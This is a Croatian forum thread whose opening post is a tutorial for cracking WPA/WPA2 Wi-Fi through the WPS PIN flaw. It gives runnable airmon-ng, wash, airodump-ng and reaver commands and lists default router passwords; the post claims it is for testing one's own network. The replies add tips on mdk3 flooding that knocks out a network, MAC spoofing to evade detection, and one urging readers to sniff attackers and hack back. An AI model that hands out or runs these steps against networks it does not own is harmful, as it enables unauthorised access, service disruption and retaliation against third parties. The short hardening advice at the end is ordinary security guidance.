Testiranje wps sigurnosti na wpa/wpa2 zaštitama

Tutorial je napravljen samo kako bi testirali SVOJU mrežu, ja nisam odgovoran ni za kakve vaše postupke.

-Objašnjenje pojmova:

 -wpa/wpa2:  (Wi-Fi protected acess) zaštita koja se trenutno smatra sigurnom

 -wps: (Wi-Fi Protected Set-up) omogučava jednostavno postavljanje sigurnosti mreže za svakodnevne korisnike

-Provjera:

1. Trebat ćemo neki linux operacijski sistem (npr. Backtrack, Ubuntu, ...)
 [Backtrack možete skinuti sa službene stranice: http://www.backtrack-linux.org/downloads/ ]

2. Nakon skidanja snimite sliku (iso) koju ste skinuli na dvd i botajte sistem s njega
 ako automatski ne uđe u  vizualni način rada napišite komandu "startx"

3. Spojite wifi karticu u računalo i pokrenite naredbeni redak (slika1)
upišite:
airmon-ng
airmon-ng stop wlan0 (moguče je da će vam biti neki drugi broj)
airmon-ng start wlan0 (sada smo karticu u tzv. monitor mode)

4. Upišite:
wash -i mon0
(ako se tu ne pojavi vaša mreža 99% je da ju ne možete probiti ovim načinom)

5.Upišite:(slika2)
airodump-ng mon0
(kopirajte BSSID kraj imena vaše mreže)

6. Upišite:(slika3)
reaver -i mon0 -b (BSSID vaše mreže) -vv
(ako ga nemate instaliranog napišite sljedeće:
wget http://reaver-wps.googlecode.com/file...
tar zxvf reaver-1.4.tar.gz
cd reaver-1.4/src
./configure
make
make install
reaver -i mon0 -b (BSSID vaše mreže) -vv)
sačekajte dok ne dobijete rezultat kao na slici 4

-Zaštita:

Ako ste uspjeli probiti WPS i WPA pin otvorite browser i upišite 192.168.0.1 ili 192.168.1.1 i pristupite svom ruteru. Podatci za pristup su najčešće: User: Admin, Password: admin ; User: User, Password: user ; User: User, Password: (piše na donjoj strani rutera).

Kada uđete u ruter nađite WPS ili Wi-Fi protected setup i isključite ga, promijenite WPA/WPA2 key i spremite postavke.

-Za ostala pitanja možete mi se obratiti i u privatne poruke

...

lako tu mrezu probit kad su prve znamenke pina 0147 (probijao si je niti pola sata). probaj probit mrezu ako su prve znamenke 8xxx ili 9xxx (nacekat ces se sate i sate). btw mogao si objasnit zasto to ide relativno brzo (pin je od 2 dijela + checksum). mogao si rec da to ne pali na thompson routerima jer ces se nacekat najmanje  mjesec dana. ovo ne radi na starijim roterima kao npr siemens se555 ili zyxel itd.  cini mi se da postoje 2 alata za bruteforce wps keya pa objasni kako se drugi koristi

edit: evo i drugi alat http://sviehb.wordpress.com/2011/12/27/wi-fi-protected-setup-pin-brute-force-vulnerability/

Slažem se sa ihushom, ovo je s*anje od teme. Nije objašnjeno baš ništa osim kako (pokušati) crackati mrežu.

Ni slova o potencijalnim problemima, odmah se skida čitav backtrack za nešto što se može sa običnim ubuntuom, nigdje sugestije kako povećati sigurnost...

P.S. Evo ti moj Siemens SX763, crackaj njega. Good luck. Zašto? Nemaš pojma.

sum_of_all_fears, cim to pitas vjerovatno imas dd-wrt na njemu, jesam u pravu?

to sam skužio i potvdio vec odavno

Da, može spammat router ali do pina neće doć. Stvar je u tome što je dovoljno ugasit router na minutu-dvije.

planirao sam još dopunjavati temu jer mi se jućer nije dalo više

spamanje sa mdk3 je gore nego reaver ili aircrack jer praktički onemogućuje korištenje iptv-a, interneta i telefona (ako je preko voip-a). zaštite protiv toga skoro da i nema

koliko sam skužio kod spamanja sa mdk3 on sam postavlja random mac adrese pa ces u log-u vidjet na tisuće mac adresašto ti ništa ne znači

Pa taman da je i samo jedna MAC, ionako je neupotrebljiva. Ukratko, napadača na mrežu je skoro pa nemoguće otkriti.

Fejkaju je skoro svi - od n00beka koji to rade jer piše u tutorialu (11:22....) pa do profesionalaca koji to znaju da moraju napraviti.

Dobro, i da ju zaboravi fakeati. Što onda? Imam MAC napadača, koji bi bio postupak dalje, koga zvati?

Nek napada i probija. Lijepo ga zasnifas i uzvratis u najmanju ruku istom mjerom. Kad pogledas tko su ti hackeri vrlo lako ces ga nauciti pameti.

nikako, tj ne morra se ni posebno čuvati, jer MAC adresa (ako nije fejkana) ne znači ništa dok nemamo računalo koje je sumnjivo. Pošto je wifi može se predpostaviti da je u krugu 50-300m to je sve. Čak i obrnuto, pošto se može fejkati, i osoba koju se uhvati s tim MAcom mogla bi se (teoretski) braniti da nije.. tj da je netko fejkao taj broj. Obrazloženje čak može biti 'logično' tj da probijanje nitko s imalo znanja neće raditi bez osnovnih zaštita kao i macchangera... tj da je netk drugi namjerno korsitio taj mac (to ima smisla), pogotovo što je dio zaštite routera wlana mac filtritranje, pa je to i preduvijet u tom slučaju.

-naravno, jedini način je prijava nadležnima, koji bi tad po nekoj logici praćenjem došli do konkretnog dokaza (kao za torrentiranje). Problem je što nije ništa regulirano-predviđeno.. osim za policijeske potrebe kad love ciljanu skupinu ili počinitelja, na osobnu prijavu se (za sad) nitko od njih ne aktivira...